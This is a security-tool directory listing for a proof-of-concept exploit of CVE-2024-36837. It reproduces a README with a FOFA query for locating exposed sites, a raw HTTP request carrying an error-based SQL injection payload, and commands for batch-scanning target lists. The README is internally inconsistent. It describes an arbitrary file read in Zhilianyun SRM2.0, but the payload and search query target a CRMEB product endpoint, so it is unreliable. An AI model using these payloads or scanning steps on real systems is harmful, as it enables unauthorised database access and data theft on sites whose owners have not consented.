Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-36837 — Proof-of-concept exploit for CVE-2024-36837, an unauthenticated arbitrary file read vulnerability in Zhilianyun SRM2.0. Includes batch scanning and single-target testing via Python script. | Kitploit
Tools/GitHubGitHub/lhc321-source/cve-2024-36837
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHublhc321-source/cve-2024-36837

CVE-2024-36837

Proof-of-concept exploit for CVE-2024-36837, an unauthenticated arbitrary file read vulnerability in Zhilianyun SRM2.0. Includes batch scanning and single-target testing via Python script.

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

README.md

#CVE-2024-36837

Disclaimer

ZhiLianYunCai SRM2.0 runtimeLog/download interface has an arbitrary file read vulnerability. Unauthenticated attackers can read important system files (such as database configuration files, system configuration files), database configuration files, etc. through this vulnerability, leaving the website in an extremely insecure state.

fofa syntax: body="/wap/first/zsff/iconfont/iconfont.css" || body="CRMEB"

#POC：

GET /api/products?limit=20&priceOrder&salesOrder&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,md5(9753165)))),0x7e),3550) HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15 Connection: close Accept: / Accept-Language: en Accept-Encoding: gzip

Add http:// or https:// before the URL

python 11.py

#how to use python cve.py -h

#batch detection The URL addresses in url.txt must include http:// or https:// python cve.py -f url.txt

#single detection The URL must include http:// or https:// python cve.py -u url

Download Tool